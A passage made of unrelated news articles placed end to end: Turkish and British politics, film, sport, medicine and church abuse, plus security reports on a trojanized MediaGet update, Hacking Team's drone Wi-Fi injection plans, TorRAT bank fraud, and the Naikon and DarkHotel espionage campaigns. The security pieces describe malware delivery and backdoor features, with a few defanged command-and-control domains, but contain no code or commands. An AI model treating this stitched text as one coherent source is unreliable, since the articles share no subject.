sizable setback for the once politically dominant Turkish armed forces, which have overthrown four governments in the last half-century.The widely-watched trial demonstrated a victory in the ongoing power struggle between the country's long-ruling secular elite and the Islamist-inspired elected government of Prime Minister Recep Tayyip Erdogan.Erdogan, who was jailed in the 1990s for reading a poem about Islam in public, sparred with military commanders during his first years in office. But after handily winning consecutive elections, he has succeed in cowing the military during nearly 10 years in office, arguably becoming the most powerful politician Turkey has seen in generations.In 2011, Erdogan enjoyed strong support in parliamentary elections, edging the nation away from its traditionally securalist leanings. In a statement to journalists on Friday, Erdogan appeared to suggest the sentences could be diminished through an appeals process."We have to watch and see the appeals process as well," Erdogan said. "Our wish is for a just decision to come out of this. But it has not come to an end yet because there is an ongoing process."Related story: Turkey's Kurdish conflict has turned more violent, says reportWhile the arrest of the generals was welcomed in some circles, other liberal voices in the Turkish media have criticized the conduct of the trial as well as the evidence presented."The sentence was too harsh and confirms the opinion of many people in Turkey who believe this was essentially an attempt to settle political scores with the ancien regime, as opposed to being a fair trial," said Asli Aydintasbas, a columnist with the newspaper Milliyet. "This is not to whitewash the military role in Turkey's past. ... But some of the evidence presented in this case would not hold in a court of law in any other country."Thought to be crucial to NATO interests given its geostrategic significance -- Turkey borders Iraq and Syria to the south and Russia to its northeast -- the stability of the country's democratic government has long remained a concern of foreign policy experts.
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A massive malware outbreak that last week infected nearly half a million computers with cryptocurrency mining malware in just a few hours was caused by a backdoored version of popular BitTorrent client called MediaGet.
Dubbed Dofoil (also known as Smoke Loader), the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mine Electroneum digital coins for attackers using victims' CPU cycles.
Dofoil campaign that hit PCs in Russia, Turkey, and Ukraine on 6th March was discovered by Microsoft Windows Defender research department and blocked the attack before it could have done any severe damages.
At the time when Windows Defender researchers detected this attack, they did not mention how the malware was delivered to such a massive audience in just 12 hours.
However, after investigation Microsoft today revealed that the attackers targeted the update mechanism of MediaGet BitTorrent software to push its trojanized version (mediaget.exe) to users' computers.
"A signed mediaget.exe downloads an update.exe program and runs it on the machine to install a new mediaget.exe. The new mediaget.exe program has the same functionality as the original but with additional backdoor capability," the researchers explain in a blog post published today.
Researchers believe MediaGet that signed update.exe is likely to be a victim of the supply chain attack, similar to CCleaner hack that infected over 2.3 million users with the backdoored version of the software in September 2017.
Also, in this case, the attackers signed the poisoned update.exe with a different certificate and successfully passed the validation required by the legitimate MediaGet.
"The dropped update.exe is a packaged InnoSetup SFX which has an embedded trojanized mediaget.exe, update.exe. When run, it drops a trojanized unsigned version of mediaget.exe."
Once updated, the malicious BitTorrent software with additional backdoor functionality randomly connects to one (out of four) of its command-and-control (C&C) servers hosted on decentralized Namecoin network infrastructure and listens for new commands.
It then immediately downloads CoinMiner component from its C&C server, and start using victims' computers mine cryptocurrencies for the attackers.
Using C&C servers, attackers can also command infected systems to download and install additional malware from a remote URL.
The researchers found that the trojanized BitTorrent client, detected by Windows Defender AV as Trojan:Win32/Modimer.A, has 98% similarity to the original MediaGet binary.
Microsoft says behavior monitoring and AI-based machine learning techniques used by its Windows Defender Antivirus software have played an important role to detect and block this massive malware campaign.
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The teenage hacker, who calls himself a member of hacktivist group "Cracka with Attitude," behind the series of hacks on the United States government and its high-level officials, including CIA director, might have finally got arrested.
In a joint effort, the Federal Bureau of Investigation (FBI) and British police reportedly have arrested a 16-year-old British teenager who they believe had allegedly:
Leaked the personal details of tens of thousands of FBI agents and US Department of Homeland Security (DHS) employees.
Hacked into the AOL emails of CIA director John Brennan.
Hacked into the personal email and phone accounts of the US spy chief James Clapper.
Broke into the AOL emails of the FBI Deputy Director Mark Giuliano.
Federal officials haven't yet released the identity of the arrested teenager, but the boy is suspected of being the lead hacker of Cracka With Attitude, who calls himself Cracka, the South East Regional Organised Crime Unit (SEROCU) told the Daily Dot.
According to the report, Cracka is the same teenage hacker who recently leaked the personal information of 31,000 government agents belonging to nearly 20,000 FBI agents, 9,000 Department of Homeland Security (DHS) officers and some number of DoJ staffers.
Crime Unite Released a Statement
In a statement, the SEROCU confirmed that the unit had arrested a teenager on Tuesday in the East Midlands on suspicion of:
Conspiracy to commit unauthorised access to computer material contrary to Section 1 Computer Misuse Act 1990.
Conspiracy to commit unauthorised access with intent to commit further offences contrary to Section 2 Computer Misuse Act 1990.
Conspiracy to commit unauthorised acts with intent to impair or with recklessness as to the impairing operation of a computer contrary to Section 3 Computer Misuse Act 1990.
Accused Teen: Authorities Ruining My Life
The unit declined to provide any further information on the arrest, but while speaking to Motherboard, the arrested teenager denied being Cracka, saying "I am not who you think I am ;) ;) ;)"
"I am innocent until proven guilty so I have nothing to be worried about," the teen said. "They are trying to ruin my life."
Neither the Department of Justice (DoJ) nor the FBI have yet responded to comment on it.
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The leaked internal emails from the Italian surveillance software company Hacking Team have revealed that the spyware company developed a robotic aircraft designed to attack computers and smartphone devices through Wi-Fi networks.
Over a year ago, some security researchers developed a drone called 'Snoopy' that was capable to intercept data from users' Smartphones through spoofed wireless networks.
Now, the email conversations posted on WikiLeaks website reveal that both Boeing and Hacking Team want unmanned aerial vehicles (UAVS) called Drones to carry out attacks that inject spyware into target computers or mobile phones via WiFi.
After attending the International Defense Exposition and Conference (IDEX) in Abu Dhabi in February 2015, the U.S. drone company Boeing subsidiary Insitu become interested in using surveillance drones to deliver Hacking Team's Remote Control System Galileo for even more surveillance.
Among the emails, co-founder Marco Valleri gave a roadmap of projects that Hacking Team have underway, including "Tactical Network Injector" (TNI) — a piece of hardware designed to inject malicious code into Wi-Fi networks, making it act as a malicious access point to launch man-in-the-middle (MITM) attacks or exploits.
To develop a way to infect computers via drone, Hacking Team employee Andrea Di Pasquale was given a task of developing a "mini-TNI":
Ruggedized
Transportable by a drone (!)
Drones used to Spy on Targets
In case, if a target makes use of a public Wifi network in a hotel or a coffee shop to connect his/her device to the Internet, the drone could intercept the traffic and inject the malicious code that secretly installs Hacking Team spyware.
The mini-TNI request was originated from the US-based Insitu, a subsidiary of Boeing that makes a range of unmanned aircraft systems, including the small ScanEagle surveillance drone and RQ-21A "Blackjack".
Giuseppe Venneri, an Insitu intern, wrote to Hacking Team's key account manager Emad Shehata this April:
"We see potential in integrating your Wi-Fi hacking capability into an airborne system [drone] and would be interested in starting a conversation with one of your engineers [Hacking Team staff] to go over, in more depth, the payload capabilities including the detailed size, weight, and power specs of your Galileo System."
The email conversation was still in the early stages as of the Hacking Team's leak, so you do not have to worry about drones. Also, it is not clear as to who the customers for the Hacking team's spying drones would be.
Though the NSA is very much fond of spyware and surveillance software, there're chances that NSA or other United States agencies would line up as customers of the Hacking Team's Spying drones. Now, you don't have to be surprised if drones are eventually doing a lot more than just snapping pictures.
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Story highlightsBritish Defence Minister Liam Fox resigns amid uproar over friendHe apologizes to British Prime Minister David Cameron in letterFox says he will continue to represent constituentsLiam Fox, Britain's defense minister, has resigned amid an uproar over a friend who worked as an adviser but didn't have an official governmental position. "I mistakenly allowed the distinction between my personal interest and my government activities to become blurred. The consequences of this have become clearer in recent days. I am very sorry for this," he said in a letter on Friday to Prime Minister David Cameron. He said he will continue to represent his constituents in North Somerset."I have also repeatedly said that the national interest must always come before personal interest. I now have to hold myself to my own standard. I have therefore decided, with great sadness, to resign from my post as Secretary of State for Defence — a position which I have been immensely proud and honored to have held."Fox said he is proud of reforms he has overseen at the ministry and for the country's armed forces and for his role "in helping to liberate the people of Libya.""I regret that I will not see through to its conclusion Britain's role in Afghanistan, where so much progress has been made."He praised military personnel and said he was honored to work with them."I appreciate all the support you have given me -- and will continue to support the vital work of this government, above all in controlling the enormous budget deficit we inherited, which is a threat not just to this country's economic prosperity but also to its national security," he said.Cameron told Fox in a letter that he was "very sorry" about his departure, saying he's done "a superb job in the 17 months since the election, and as shadow defence secretary before that."The prime minister pointed to his overseeing of "fundamental changes" in the British Defence Ministry and the military."On Libya, you played a key role in the campaign to stop people being massacred by the Gadhafi regime and instead win their freedom," he said.He said Fox could be "proud of the difference" he made in office and in helping the Conservatives return to government."I appreciate your commitment to the work of this government, particularly highlighting the need to tackle the deficit, and the relationship between Britain's economic strength and our national security," Cameron said.
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New York (CNN Business)Michael Myers made a killing at the box office, even though he was also streaming.Universal Pictures' "Halloween Kills" — the latest installment in the long running franchise — brought in an estimated $50.3 million at the North American box office this weekend. That number exceeded industry expectations, which had projected the film to make $35 million to $40 million this weekend. The film's opening was an important success for theaters because audiences could have just stayed home and watched the movie on NBCUniversal's streaming service, Peacock. The film debuted simultaneously in theaters and on Peacock at no extra charge to subscribers.'Halloween Kills' is a strange title for a franchise that just won't dieThe opening for the film — which sees masked killer Michael Myers once again dice up the residents of Haddonfield, Illinois — is a steep drop compared to its predecessor, which opened to $76 million in 2018. However, 2018 and 2021 are very different landscapes for the theater industry considering there's a pandemic going on and streaming is a mightier force than it was just a few years ago.In the end, it's not entirely a surprise that "Halloween Kills" did well this weekend. The film — the 12th in the series — is part of an iconic horror franchise.Read MoreHorror is also one of the most reliable brands at the box office. Audiences love to be scared in person as well as at home, so it appears that streaming the film on Peacock didn't end up cannibalizing ticket sales. Not even the film's lackluster reviews (it currently holds a 39% score on Rotten Tomatoes) could stop the film from having a strong opening. "'Halloween Kills'" is just the latest example of how the pure escapist thrills of a good scare in the communal environment of the movie theater can generate huge dollars at the box office," Paul Dergarabedian, senior media analyst at Comscore, told CNN Business.As for Michael Myers, audiences have not seen the last of the demented murderer. He will return for the next film in the series, "Halloween Ends," which is due out next year.
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Story highlightsTottenham Hotspur confirm manager Harry Redknapp has left the clubRedknapp took over from Juande Ramose at White Hart Lane in October 2008Spurs finished fourth in the EPL last season, but were denied a Champions League berthRedknapp: "I have thoroughly enjoyed my time at Spurs and am proud of my achievements"Harry Redknapp has apparently paid the price for failing to deliver European Champions League football next season after English club Tottenham Hotspur announced the end of his four-year reign as manager.The 65-year-old's position in the game has plummeted in recent months, having gone from favorite for the England job to unable to win a new contract at a club he guided from the danger of relegation to top-four contenders in the Premier League.However, a fourth-place finish last season was not enough to secure a Champions League place due to sixth-placed Chelsea's historic first title triumph in Europe's top club competition."This is not a decision the board and I have taken lightly," Spurs chairman Daniel Levy said in a statement on the London club's website, posted at 2.27 a.m GMT on Thursday. "Harry arrived at the club at a time when his experience and approach was exactly what was needed. "This decision in no way detracts from the excellent work Harry has done during his time with the club and I should like to thank him for his achievements and contribution. Harry will always be welcome at the Lane."JUST WATCHEDEye-witness describes Warsaw violenceReplayMore Videos ...MUST WATCHEye-witness describes Warsaw violence 02:40JUST WATCHEDRedknapp cleared of tax evasionReplayMore Videos ...MUST WATCHRedknapp cleared of tax evasion 02:57Earlier this week, Redknapp denied reports that he had resigned after failing to agree a new long-term contract, with one year left on his previous deal. He said in a statement on the Tottenham website that he was proud of his time in north London, having guided Spurs to the Champions League quarterfinals in the 2010-11 season."I have thoroughly enjoyed my time at Spurs and am proud of my achievements," said Redknapp, who had heart surgery in November. "I have had a fantastic four years with the club, at times the football has been breathtaking. "I am sad to be leaving but wish to thank the players, staff and fans for their terrific support during my time there."The former Portsmouth manager was heavily linked with the England job when Fabio Capello resigned in February after being cleared of any wrongdoing in his highly-publicized court case for alleged tax evasion, but the English Football Association instead opted to appoint Roy Hodgson in May.Redknapp took over at Tottenham in October 2008 after Juande Ramos was sacked, with the club bottom of the English Premier League.The former West Ham United player and coach guided Spurs to an eighth-place finish that season, before leading the club to fourth position in 2010 and a place in the Champions League.Spurs impressed, beating seven-time champions AC Milan in the round of 16 before being eliminated by Spanish giants Real Madrid in the quarterfinals, but missed out on qualifying for last season's competition after finishing fifth in the league.Tottenham seemed certain to secure a Champions League place in 2011-12 after a superb start to the season, but results fell away after Redknapp's court case and London rivals Arsenal rallied to claim third place before Chelsea's penalty shootout success in Munich condemned Spurs to the second-tier Europa League.
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Jonathan Reiner, MD, is a CNN medical analyst and professor of medicine and surgery at George Washington University. The views expressed in this commentary belong to the author. View more opinion on CNN. (CNN)The news last week that David Bennett, a 57-year-old Maryland man, nearing death, had undergone cardiac transplant surgery with a genetically modified pig heart sent shock waves through the medical community and was hailed as a breakthrough in bioengineering, potentially ushering in a new era in solid organ transplantation. While our experience with this technology is still developing and much more research needs to be done, the operation and bravura science that made it possible provide a breathtaking glimpse into a future where patients will potentially spend days rather than months or years on a transplant list.This year, the tens of thousands of Americans hoping for a transplant will anxiously await the call telling them an organ has been found. Some of the patients, sick with congestive heart failure, will wait for a heart. Those with end-stage renal disease who are being sustained with dialysis, will wait for a kidney. Others with liver disease, or failing lungs will also wait their turn. There are currently more than 100,000 people who are on the waiting list for an organ transplant, according to the United Network for Organ Sharing. In 2021, only about 41,000 organ transplants were performed -- the highest annual figure since at least 1988, according to UNOS. Given the high demand, some patients will continue to wait. Others will eventually die. More than anything else, the problem is a lack of donor organs.I was relieved when my sons got mild Covid-19. Then I thought about thisIt has been 54 years since Dr. Christiaan Barnard performed the first human heart transplantation with the heart of 25-year-old Denise Darvall, who had a fatal brain injury after being hit by a car, into the chest of 53-year-old Louis Washkansky who was dying of heart failure. Mr. Washkansky lived for 18 days, but Dr. Barnard's second patient lived for 18 months with his transplanted heart. Over the ensuing half-century, while surgical techniques have been greatly refined for preserving and transplanting solid organs like the heart, kidneys, lungs and liver, some of the greatest advances have fostered the development of novel drugs allowing patients to live for many years without the risk of organ rejection. Now, the majority of heart transplant recipients survive at least 10 years.While the safety and efficacy of transplantation have improved immeasurably over the last several decades, the supply of donor organs remains a problem. There are multiple barriers to organ donation including family reluctance and a general lack of social education about the lifesaving nature of organ transplantation. The net result is a perpetual shortage of donor organs. The breakthrough implication of Mr. Bennett's recent surgery is not only what it does for heart transplants, but also what it does for the supply of organs for transplant surgery as a whole. Read MoreAlexis Ohanian, aka Mr. Serena Williams, on why parental leave is good for menXenotransplantation, the transplant into a human of an organ from a nonhuman animal, has been tried without success in the past. In 1984 Stephanie Fae Beauclair (who was called Baby Fae) was born with hypoplastic left heart syndrome. In an attempt to save her life, she underwent cardiac transplantation with the heart of a baboon. She died of organ rejection 21 days after surgery.For a nonhuman donor organ to function adequately in a human host, it must be anatomically similar (so as to allow for surgical implantation), function well in the human setting and not be rejected. (Graft rejection is a risk all transplant recipients face, however it is particularly challenging when the donor organ originates from a nonhuman source.)Although the heart of a grown pig is anatomically similar to a human heart, for Bennett's operation, researchers at the University of Maryland modified 10 genes in the pig. Some pig genes were disabled or "knocked out" to prevent acute rejection. Another gene was modified to prevent the donor heart from continuing to grow to an unacceptably large size after transplantation. Several human genes were given to the pig to prevent clotting abnormalities in the new heart. As is also required for this type of transplant, powerful anti-rejection drugs were administered as well.Get our free weekly newsletterSign up for CNN Opinion's newsletter.Join us on Twitter and FacebookWe will know relatively soon whether the audacious operation restores Bennett's health. While his recovery is uncertain and perhaps even a long shot, what is certain is that the door to using bioengineered nonhuman organs has been opened -- and with it, the promise of an almost unlimited supply of donor organs could follow. While the road ahead is surely filled with new physiological, technical and even ethical challenges, we may one day look at this courageous procedure the way we now look at Dr. Christaan Barnard's first heart transplant.
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Story highlightsChurch officials delegated an independent commission to probe the problemThe child sex abuse is called "a serious problem in absolute numbers"More than 100 of the alleged abusers "are known to be living," the commission saysThousands and thousands of children suffered from sexual abuse in the Dutch Roman Catholic Church over more than six decades, and about 800 "possible perpetrators" have been identified, an independent Commission of Inquiry said Friday."Several tens of thousands of minors have experienced mild, serious and very serious forms of inappropriate sexual behavior. Victims have often suffered for decades from the effects of abuse and have received acknowledgment of the fact," the panel says in its report. "This has caused problems for them, their immediate family and their friends, who require attention and sometimes professional counseling."The report, which covers a period from 1945 to 2010, says "the scale" of the abuse "is relatively small in percentage terms, but is a serious problem in absolute numbers." The victims were under the responsibility of the range of people working in the church -- priests, brothers, pastoral workers and lay persons, it says.The report has widespread ramifications across the Netherlands because of the integral role that Roman Catholics play in that society, in religion, politics, media, education and trade unionism. At 30% of the population, Roman Catholics make up the largest religious group in the Netherlands.The Commission of Inquiry says it received 1,795 reports of church-related sex abuse of minors and the "reports contained information about possible perpetrators. The 800 names of perpetrators can be traced to people "who work or worked in dioceses, orders and congregations.""At least 105 of those 800 persons are known to be living. It is not known how many of these individuals are still in their jobs," the report says.The church developed the inquiry after "a growing number of reports appeared" about sexual abuse in the church bureaucracy, the commission says."The Commission of Inquiry based its findings on empirical data from the reports of sexual abuse it received between March and December 2010, as well as historical records from ecclesiastical and other archives," it says. Sexual abuse of minors wasn't unknown to church officials, the report says. It had "received a great deal of attention" from church hierarchy throughout its history. The commission discovered "quite a lot of information about inappropriate sexual behavior" up to the 1950s."Bishops and other church authorities were not ignorant of the problem of sexual abuse. Moreover, in the view of the Commission of Inquiry, in many cases they failed to take adequate action and paid too little attention to victims," the report says.At the same time, it says the fact that "sexual abuse of minors occurs widely in Dutch society" is part of the context of the problem. And, as it searched archives, the commission found "cases of sexual abuse by perpetrators who had themselves been victims of similar abuse in their youth."As for victims, the report says, they "gradually started receiving attention since the 1990s." It stressed the importance of "financial compensation" as "an essential element" of victim reparations. It says the church has a "moral duty" to take complaints seriously."In the last few years, reports of sexual abuse have regularly led to meetings between the victim and the perpetrator," the report says. "In most cases, the perpetrator or the responsible administrator has expressed regret. Apologies and compensation generally date from after 2000."
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The TorRAT malware was first appeared in 2012 as spying tool only. But from August 2012, Bitcoin Mining feature was added and it became a powerful hacking tool that was commonly associated with attacks on Financial institutions.
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This year TorRat Malware targeted two out of three major Banks in the Netherlands and the criminals stole over Million Dollars from user' Banking Accounts.
The Dutch police has arrested four men from Alkmaar, Haarlem, Woubrugge and Roden on last Monday, who are suspected of involvement in the large scale digital fraud and money laundering case using TorRat Malware.
Using Spear Phishing techniques, gang targeted the victims to access their computers and the Financial accounts. The gang used anonymous VPN services, Bitcoins, TorMail and the Tor network itself to remain anonymous.
Malware is also capable of manipulating the information during online banking, can secretly add new payment orders and also able to modify existing orders.
To defend the detection from Antivirus softwares, TorRat uses the ZeuS malware in its attack. The technique was used to divert the focus of researchers to remove ZeuS infection, rather than the unknown malware on the system.
Some of the stolen money was converted by criminals to (56 BTC worth around 7700 Euros) Bitcoin virtual currency, which are now seized by Dutch police. Police also mentioned that, one of arrested criminal having his own Bitcoin exchange service.
The TorRAT malware has been known to be distributed in multiple ways. In April, TorRat was in news for hijacking twitter accounts. After infecting a vulnerable computers, the TorRAT malware hijacks the Twitter user's account and share links that lead to attack websites that attempt to inject TorRAT malware into the victim's computer.
The main reason why this particular attack is so effective is because victims are essentially receiving links to the TorRAT malware from sources they trust; accounts that they follow on Twitter. TorRAT malware involves using Man-in-the-Browser (MitB) tactics to infect computers through vulnerabilities in their Web browser. These kinds of attacks were used to take over a victim's online banking account.
They made more than 150 fraudulent transactions for victim's accounts and Police said that, because Gang was operating from the Netherlands, so tracking them become possible.
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(CNN)The US Soccer Federation announced Wednesday it has repealed its policy requiring players to stand during the National Anthem. The statement follows widespread protests decrying police brutality and racism after the death of George Floyd, an unarmed black man, in police custody. It also comes after the National Football League commissioner announced the league was wrong not to listen to players' concerns about racism earlier. In their statement, US Soccer said its board of directors voted Tuesday to repeal their policy, which was put in place after US Women's National Team midfielder Megan Rapinoe kneeled in solidarity with Colin Kaepernick's protests. Kaepernick, a former quarterback for the San Francisco 49ers, began kneeling before games in 2016 and remains unsigned to a team since 2017. US Soccer may repeal the ban on players kneeling "We have not done enough to listen -- especially to our players -- to understand and acknowledge the very real and meaningful experiences of Black and other minority communities in our country," the soccer federation said in its statement. "We apologize to our players -- especially our Black players -- staff, fans, and all who support eradicating racism." The federation said it hasn't yet used its platform effectively to address issues like racism, discrimination and inequality and vowed to do so moving forward. Read More"We are here for our players and are ready to support them in elevating their efforts to achieve social justice. We cannot change the past, but we can make a difference in the future. We are committed to this change effort, and we will be implementing supporting actions in the near future," the statement read. NFL admits it was wrongEarlier this month, NFL Commissioner Roger Goodell said the league should have listened to its players about racism concerns sooner.New Orleans Saints' Malcolm Jenkins says NFL won't get it right until they apologize to Colin Kaepernick"We, the National Football League, admit we were wrong for not listening to NFL players earlier and encourage all to speak out and peacefully protest," Goodell said.But the commissioner faced criticism for what he didn't say: Goodell didn't mention Kaepernick, who saw heavy backlash following his peaceful protests on the field. Some players called on the league to acknowledge and apologize to Kaepernick and help him find a way back to the sport. "I think if they sign Kaep back, that'll show that they're really trying to move in a different direction," Seattle Seahawks' new signing Carlos Hyde said previously. "Because Kaep was making a statement four years ago about what's going on in today's world and the NFL didn't bother to listen to him then, so I think they should start by doing that."CNN's Jill Martin contributed to this report.
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(CNN)The East Coast Hockey League suspended Jacksonville Icemen defenseman Jacob Panetta indefinitely after he allegedly made a racist gesture toward South Carolina Stingrays defenseman Jordan Subban during Saturday's game, the league announced.A hearing is to take place between the league and the Professional Hockey Players' Association. In a statement Sunday, Icemen CEO Andy Kaufmann said the team will be releasing Panetta effective immediately."On behalf of the entire Icemen organization, we apologize to any one who was offended and look forward to beginning the process of healing together as one," the statement said.The alleged gesture took place during overtime and resulted in a fight. Afterward, the Icemen posted on Twitter, "Overtime began with a rough fight resulting in multiple penalties on both sides."Subban, who is Black, responded to that tweet and said that Panetta had make monkey gestures at him: "More like @JPanetta12 was too much of a coward to fight me and as soon as I began to turn my back he started making monkey gestures at me so I punched him in the face multiple times and he turtled like the coward he is. There fixed it."Read MoreCNN has seen video of the fight but is unable to verify Subban's allegation.Panetta posted a video apology for the incident to his Twitter account Sunday evening, but said he did not intend his gesture to have any racial implication. "I did a tough guy, bodybuilder-like gesture towards him," Panetta said, adding he's made the same gesture during previous confrontations on the ice. "I want to reiterate that no racial slurs, noises or anything of the like were said by me during the incident. I see now from Jordan's reaction that he and others certainly viewed it as a racial gesture and that my actions have caused a great deal of anger and upset to Jordan, his family and countless others," Panetta said in the video."I sincerely apologize for the pain and suffering and anger that my actions have caused (Subban), his family and everyone who was hurt by this. However unintentional my actions were, I acknowledge the impact of my gesture and will commit to better understand the impact going forward," he said.P.K. Subban, Jordan Subban's brother and a defenseman for the National Hockey League's New Jersey Devils, had criticized Panetta on social media after the game."They don't call the east coast league the jungle because my brother and the other black players are the monkeys!" P.K. Subban wrote. "Hey @jacobpanetta you shouldn't be so quick delete your Twitter or your Instagram account you will probably be able to play again... that's what history says but things are changing." The ECHL told CNN that the league will not comment further until the hearing is complete. The Icemen said they are "fully cooperating with the League on their review of the incident and will provide comments and make decisions based on our core values after the League's review."American Hockey League suspends player for 30 games for racist gesture toward Black playerStingrays President Rob Concannon issued a statement Sunday in support of Subban following the ECHL's decision to suspend Panetta."The South Carolina Stingrays are disgusted by last night's incident involving Jordan Subban," the statement reads. "Our organization stands in support of friend and teammate, Jordan, as well as all other players who continue to deal with racism and discrimination. This behavior has to stop and is unacceptable."This is the second alleged racist incident that has taken place in the NHL minor league system in the last two weeks. On Friday, the American Hockey League suspended San Jose Barracuda forward Krystof Hrabik for 30 games for directing a racist gesture towards Boko Imama of the Tucson Roadrunners during a January 12 game. CNN's Eric Levenson contributed to this report.
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An advanced group of Chinese hackers has recently been spotted to be behind a sustained cyber espionage campaign targeting government entities in Australia, Indonesia, Philippines, Vietnam, Thailand, Myanmar, and Brunei—which went undetected for at least five years and is still an ongoing threat.
The group, named 'Naikon APT,' once known as one of the most active APTs in Asia until 2015, carried out a string of cyberattacks in the Asia-Pacific (APAC) region in search of geopolitical intelligence.
According to the latest investigation report Check Point researchers shared with The Hacker News, the Naikon APT group had not gone silent for the last 5 years, as initially suspected; instead, it was using a new backdoor, called "Aria-body," to operate stealthily.
"Given the characteristics of the victims and capabilities presented by the group, it is evident that the group's purpose is to gather intelligence and spy on the countries whose governments it has targeted," the researchers said.
The backdoor serves a dual purpose in that the threat actor, besides using it to take control of the internal networks of the targeted organizations, is also mounting attacks from an already breached company to infect another.
"This includes not only locating and collecting specific documents from infected computers and networks within government departments, but also extracting removable data drives, taking screenshots and keylogging, and of course, harvesting the stolen data for espionage."
A Geo-Political Intelligence Campaign
First documented in 2015, the Naikon APT group uses crafted email lures as an initial attack vector against top-level government agencies and civil and military organizations, which, when opened, installed spyware that exfiltrated sensitive documents to remote command-and-control (C2) servers.
Although no new signs of activity have been reported since then, Check Point's latest research casts its operations in a fresh light.
"Naikon attempted to attack one of our customers by impersonating a foreign government – that's when they came back onto our radar after a five-year absence, and we decided to investigate further," Lotem Finkelsteen, manager of threat intelligence at Check Point, said.
Not only were multiple infection chains employed to deliver the Aria-body backdoor, but the malicious emails also contained an RTF file (named "The Indians Way.doc") that was infected with an exploit builder called RoyalBlood, which dropped a loader (intel.wll) in the system's Microsoft Word startup folder ("%APPDATA%\Microsoft\Word\STARTUP").
RoyalBlood is an RTF weaponizer shared mostly among Chinese threat actors. It's worth noting that a similar modus operandi has been linked to a campaign against Mongolian government agencies, called Vicious Panda, that was found exploiting the ongoing coronavirus outbreak to plant malware via social engineering tricks.
In a separate infection mechanism, archive files were packaged with a legitimate executable (such as Outlook and Avast Proxy) and a malicious library to drop the loader on the target system.
Regardless of the method to gain an initial foothold, the loader then established a connection with a C2 server to download the next-stage Aria-body backdoor payload.
"After getting the C&C domain, the loader contacts it to download the next and final stage of the infection chain," the researchers noted. "Although it sounds simple, the attackers operate the C&C server in a limited daily window, going online only for a few hours each day, making it harder to gain access to the advanced parts of the infection chain."
The Aria-body RAT, named so based on the name "aria-body-dllX86.dll" given by the malware authors, has all the features you'd expect from a typical backdoor: create and delete files and directories, take screenshots, search for files, gather file metadata, collect system and location information, among others.
Some recent variations of Aria-body also come equipped with capabilities to capture keystrokes, and even load other extensions, per researchers, suggesting the backdoor is under active development.
Aside from exfiltrating all the gathered data to the C2 server, the backdoor listens for any additional commands to be executed.
Further analysis of the C2 infrastructure found that several domains were used for long stretches of time, with the same IP address reused with more than one domain.
Taking their evasion tactics to the next level, the adversary compromised and used servers within the infected ministries as C2 servers to launch attacks, and relay and route the stolen data, rather than risk detection when accessing the remote servers.
Ties to Naikon APT
Check Point said it attributed the campaign to the Naikon APT based on code similarities in Aria-body and the espionage tool detailed by Kaspersky (called "XSControl") in 2015, as well as in the use of C2 domains (mopo3[.]net) that resolve to the same IP address as the domains mentioned by the latter (myanmartech.vicp[.]net).
"While the Naikon APT group has kept under the radar for the past 5 years, it appears that they have not been idle," Check Point concluded. "In fact, quite the opposite. By utilizing new server infrastructure, ever-changing loader variants, in-memory fileless loading, as well as a new backdoor — the Naikon APT group was able to prevent analysts from tracing their activity back to them."
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A seven-year-old cyber espionage campaign has targeted senior level executives from large global companies by using a specialized Advanced Persistent Threat (APT), zero-day exploits, and well-developed keyloggers to extract information from them when they stay in luxury hotels during their business trips.
The researchers at Moscow-based security firm Kaspersky Lab dubbed the threat as "DarkHotel APT," appear to have the ability to know in advance when a targeted executive checks in and checks out of a hotel.
The group has been operating in Asia since from 2009 but there have been infections recorded in the United States, South Korea, Singapore, Germany, Ireland and many others, as well. It uses hotel Wi-Fi networks to target elite executives at organisations in manufacturing, defense, investment capital, private equity, automotive and other industries.
The group has access to zero day vulnerabilities and exploits, and it used them to infect victims. Threat actors use three different malware distribution methods including malicious Wi-Fi networks, booby-trapped P2P torrents, and highly customized spear phishing, Kaspersky Lab reported in research paper.
When the target executives connect their devices to the hotel's Wi-Fi or wired Internet access, they are shown bogus software updates, typically something that looks legitimate, for Adobe Flash, Google Toolbar, or Windows Messenger. But these updates also contain a type of malware called a Trojan dropper bundled with more malware.
"When unsuspecting guests, including situationally aware corporate executives and high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, they are infected with a rare APT Trojan posing as any one of several major software releases," the researchers wrote in a report published Monday. "These might be GoogleToolbar, Adobe flash, Windows Messenger, etc. This first stage of malware helps the attackers to identify more significant victims, leading to the selective download of more advanced stealing tools."
"At the hotels, these installs are selectively distributed to targeted individuals. This group of attackers seems to know in advance when these individuals will arrive and depart from their high-end hotels. So, the attackers lay in wait until these travelers arrive and connect to the internet."
The trojan dropper then installs various keyloggers and other tracking applications in order to track each of the victim's keystrokes and scan browsers for saved passwords, exposing a wealth of trade secrets and other secret information to the Darkhotel group.
In addition, the Darkhotel malware has ability to manipulate trusted digital certificates by factoring the underlying private keys of the cloned certificates generated using 512-bit md5 keys. The ability of attackers to factor the weak keys for use in such malware attacks has long been known, as advisories issued from Fox-IT, Microsoft, Mozilla, and Entrust warned in 2011.
"All related cases of signed Darkhotel malware share the same Root Certificate Authority and Intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits)," Monday's Kaspersky report stated. "We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware. These keys were not stolen."
The DarkHotel malware operating group have also recently stolen third-party certificates to sign their malware.
In order to protect your device, the easiest way for you is to avoid connecting to hotel Wi-Fi networks or to any other public or untrusted networks, and instead, use your mobile device hotspot to get access to the Internet.
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Hackers aligned with North Korea have always been accused of attacking and targeting South Korean organizations, financial institutions, banks and media outlets.
Recent reports indicate that North Korean hackers have hacked into more than 140,000 computers of at least 160 South Korean government agencies and companies, and allegedly injected malware in the systems.
The cyber attack was designed to lay for a long term period against its rival, authorities in Seoul said.
The South Korean police were on high alert against cyberattacks by the North Korean hackers, especially after North Korea successfully tested a miniaturized hydrogen bomb in January and a long-range rocket launch in February, Reuters reports.
According to the police, the hacking attack began in 2014 but was detected only in February this year, after North Korea managed to steal information from two companies: the SK and Hanjin Group.
The documents stolen from the two companies included blueprints for the wings of F-15 fighter jets, an official at the South Korea cyber investigation unit confirmed.
The investigation unit said, "There is a high possibility that the North aimed to cause confusion on a national scale by launching a simultaneous attack after securing many targets of cyber terror, or intended to continuously steal industrial and military secrets."
More than 42,000 materials were stolen in the hack, of which more than 40,000 materials were defense-related.
Although a South Korean defense ministry official said that the stolen documents were not secret and that there wasn't any security breach, a spokesperson from SK Holdings stated that 4 group affiliates were affected by the cyber attack.
The cyber attack originated from an IP address traced down to the North Korea and was intended to target the network management software used by 160 companies and government agencies in South Korea.
